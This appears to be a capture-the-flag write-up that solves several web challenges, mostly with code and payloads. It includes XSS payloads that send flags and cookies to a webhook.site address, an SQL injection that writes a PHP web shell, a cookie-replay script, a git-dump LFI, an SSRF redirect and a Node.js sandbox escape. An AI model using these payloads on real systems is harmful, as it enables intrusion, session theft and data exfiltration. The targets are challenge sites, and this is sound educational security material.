You can notice that the real flag appears sometimes and disappear really fast.
So there most has a setInterval
or setTimeout
in source code...
Bingo!
pacth for flash.js:
...
setInterval(()=>{
const _0x24a935 = _0x15c166;
Math[_0x24a935(0xd1, '&EwH')]() < 0.05 && (x[_0x24a935(0xdc, '1WY2')] = [0x73, 0x71, 0x80, 0x6e, 0x89, 0x81, 0x84, 0x41, 0x41, 0x70, 0x8b, 0x65, 0x78, 0x43, 0x79, 0x6f, 0x65, 0x80, 0x7c, 0x41, 0x65, 0x6e, 0x78, 0x40, 0x81, 0x7c, 0x87][_0x24a935(0xdb, 'H3tY')](_0x4cabe2=>String[_0x24a935(0xd8, 'Ceiy')](_0x4cabe2 - 0xd ^ 0x7))[_0x24a935(0xe0, '1WY2')](''),
setTimeout(()=>x[_0x24a935(0xe3, '5HF&')] = _0x24a935(0xde, '($xo'), 0xfffffff));
}
, 1);
...
flag: actf{sp33dy_l1ke_th3_fl4sh}
- Create a random account
- Delete it
- Use after delete
import requests
import os
HOST = 'https://secure-vault.web.actf.co/'
def main():
s = requests.session()
s.post(HOST + 'register', {
'username': os.urandom(10).hex(),
'password': os.urandom(10).hex()
})
saved_cookie = s.cookies.copy()
s.post(HOST + 'delete')
s.cookies = saved_cookie
print(s.get(HOST + 'vault').text) # actf{is_this_what_uaf_is}
if __name__ == '__main__':
main()
flag: actf{is_this_what_uaf_is}
- SQLi -> Create a new database with php code
- Run
/printflag
import requests
import os
HOST = 'https://no-flags.web.actf.co/'
SHELL = os.urandom(16).hex() + '.php'
SQL = f'''x');
ATTACH DATABASE '/var/www/html/abyss/{SHELL}' AS x;
CREATE TABLE x.y (dataz text);
INSERT INTO x.y (dataz) VALUES ('<?=system("/printflag");?>');--
'''
def main():
s = requests.session()
s.post(HOST, data={
'flag': SQL
})
# print(s.get(HOST + f'abyss/{SHELL}').content.split('\n')[-1])
print(s.get(HOST + f'abyss/{SHELL}').content.split(b'\n')[-1].decode()) # actf{why_do_people_still_use_php}
if __name__ == '__main__':
main()
flag: actf{why_do_people_still_use_php}
- Found git:
https://art-gallery.web.actf.co/gallery?member=../.git/HEAD
- Use GitHacker to download full
.git/
- Recover secret
$ githacker --url 'https://art-gallery.web.actf.co/gallery?member=../.git/' --output-folder chall_git
$ cd chall_git/*
$ git log
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD -> master, origin/master, origin/HEAD)
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:47:45 2022 -0400
bury secrets
commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:48 2022 -0400
remove vital secrets
commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:01 2022 -0400
add program
$ git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
$ ll
total 80
-rw-r--r-- 1 alanli wheel 288B 4 30 17:18 error.html
-rw-r--r-- 1 alanli wheel 45B 4 30 17:21 flag.txt
drwxr-xr-x 6 alanli wheel 192B 4 30 17:18 images
-rw-r--r-- 1 alanli wheel 729B 4 30 17:18 index.html
-rw-r--r-- 1 alanli wheel 492B 4 30 17:18 index.js
-rw-r--r-- 1 alanli wheel 17K 4 30 17:18 package-lock.json
-rw-r--r-- 1 alanli wheel 275B 4 30 17:18 package.json
$ cat flag.txt
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
flag: actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
- Since
replace('<', '<')
can only replace the first match:
<><script>fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook.site/ab3b2b89-85a9-4e4a-a684-517c5f406ff2?f=`+encodeURIComponent(t))</script>
-
Get link (
https://xtra-salty-sardines.web.actf.co/sardines/gysakctysy
) -
Send to admin
flag: actf{those_sardines_are_yummy_yummy_in_my_tummy}
Use redirect to bypass ip check
curl -i -s -k -X $'POST' \
-H $'Host: school-unblocker.web.actf.co' -H $'Content-Length: 115' -H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'url=http%3A%2F%2Fhttpbingo.org%2Fredirect-to%3Fstatus_code%3D307%26url%3Dhttp%253A%252F%252F127.0.0.1:8080%252Fflag' \
$'https://school-unblocker.web.actf.co/proxy'
flag: actf{dont_authenticate_via_ip_please}
After some testing, I found that marked.parse
will split the html tag in [<tag>](#</tag>)
, for example [<h1>](#</h1>)
will be parsed to <p><a href="#%3C/h1%3E"><h1></a></p>
.
As you can see, <h1>
is a broken HTML tag without closing it.
And I also found that DOMPurify.sanitize
won't change any character of <style onload=alert(1)>
in <p x='<style onload=alert(1)>'><p>
.
So I started thinking, what if I split the tag with XSS payload by using link markdown?
Bingo!
The following markdown:
[<p x='<style onload=alert(1)>](#'></p>)
will be parsed to:
<p><a href="#x"><p x='<style onload=alert(1)></a></p>\n
Solution:
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
https://cliche.web.actf.co/?content=%5B%3Cp%20x%3D'%3Cstyle%20onload%3Deval(atob(%2FbG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk%2F.source))%3E%5D(%23'%3E%3C%2Fp%3E)
webhook result:
flag=wow%2C%20you%20got%20it%20in%20one%20go%2C%20it'd%20be%20cool%20if%20you%20could%20show%20me%20your%20solution%3A%20actf%7Bmy_code_is_upside_down_topsy_turvy_1029318%7D
flag: actf{my_code_is_upside_down_topsy_turvy_1029318}
- use
eval(unescape(/%2f%0aPAYLOAD%2f/))
to eval any payload with URL encoded char in blacklist. - eval
this.constructor.constructor("return(process.mainModule.require('fs').readFileSync('flag.txt','utf8'))")
for the win.
final payload:
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
flag: actf{omg_js_is_like_so_quirky_haha}